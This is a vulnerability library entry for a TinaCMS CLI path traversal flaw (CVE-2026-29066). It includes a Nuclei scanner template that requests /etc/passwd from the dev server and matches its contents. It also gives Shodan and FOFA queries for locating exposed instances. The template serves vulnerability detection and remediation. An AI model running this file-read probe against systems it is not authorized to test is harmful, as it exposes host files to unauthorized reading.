/Vulnerability Library

TinaCMS - Path Traversal

CVE-2026-29066
Verified

Description

TinaCMS CLI < 2.1.8 contains a file system read vulnerability caused by disabled Vite server.fs.strict setting, letting unauthenticated attackers read arbitrary files on the host system, exploit requires access to the dev server.

Severity

Medium

CVSS Score

6.2

Exploit Probability

5%

Affected Product

tinacms

Published Date

April 7, 2026

Template Author

theamanrawat

CVE-2026-29066.yaml
id: CVE-2026-29066

info:
  name: TinaCMS - Path Traversal
  author: theamanrawat
  severity: medium
  description: |
    TinaCMS CLI < 2.1.8 contains a file system read vulnerability caused by disabled Vite server.fs.strict setting, letting unauthenticated attackers read arbitrary files on the host system, exploit requires access to the dev server.
  impact: |
    Unauthenticated attackers can read arbitrary files on the host system, potentially exposing sensitive information.
  remediation: |
    Update to version 2.1.8 or later.
  reference:
    - https://github.com/tinacms/tinacms/security/advisories/GHSA-m48g-4wr2-j2h6
    - https://nvd.nist.gov/vuln/detail/CVE-2026-29066
  classification:
    cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.2
    cve-id: CVE-2026-29066
    epss-score: 0.04878
    epss-percentile: 0.89674
    cwe-id: CWE-200
  metadata:
    verified: true
    max-requests: 3
    vendor: tinacms
    product: tinacms
    shodan-query: http.title:"TinaCMS"
    fofa-query: body="TinaCMS" || body="tinacms"
  tags: cve,cve2026,tinacms,lfi,vuln,unauthenticated

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    host-redirects: true
    max-redirects: 3
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "tina-tailwind"
        internal: true

      - type: status
        status:
          - 200
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/etc/passwd"

    host-redirects: true
    max-redirects: 3
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "root:x:0:0"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502210094358011e0a87be0499552c86e81597b478ade9fe0f4fb6aee4ca4839a35015802206c29e50e4ec2081efc8f3a987c5c56fa9a5f592ca423cd1b74bd7285e5ed8464:922c64590222798bb761d5b6d8e72950
6.2Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CVE ID:
cve-2026-29066
CWE ID:
cwe-200

References

https://github.com/tinacms/tinacms/security/advisories/GHSA-m48g-4wr2-j2h6https://nvd.nist.gov/vuln/detail/CVE-2026-29066

Remediation Steps

Update to version 2.1.8 or later.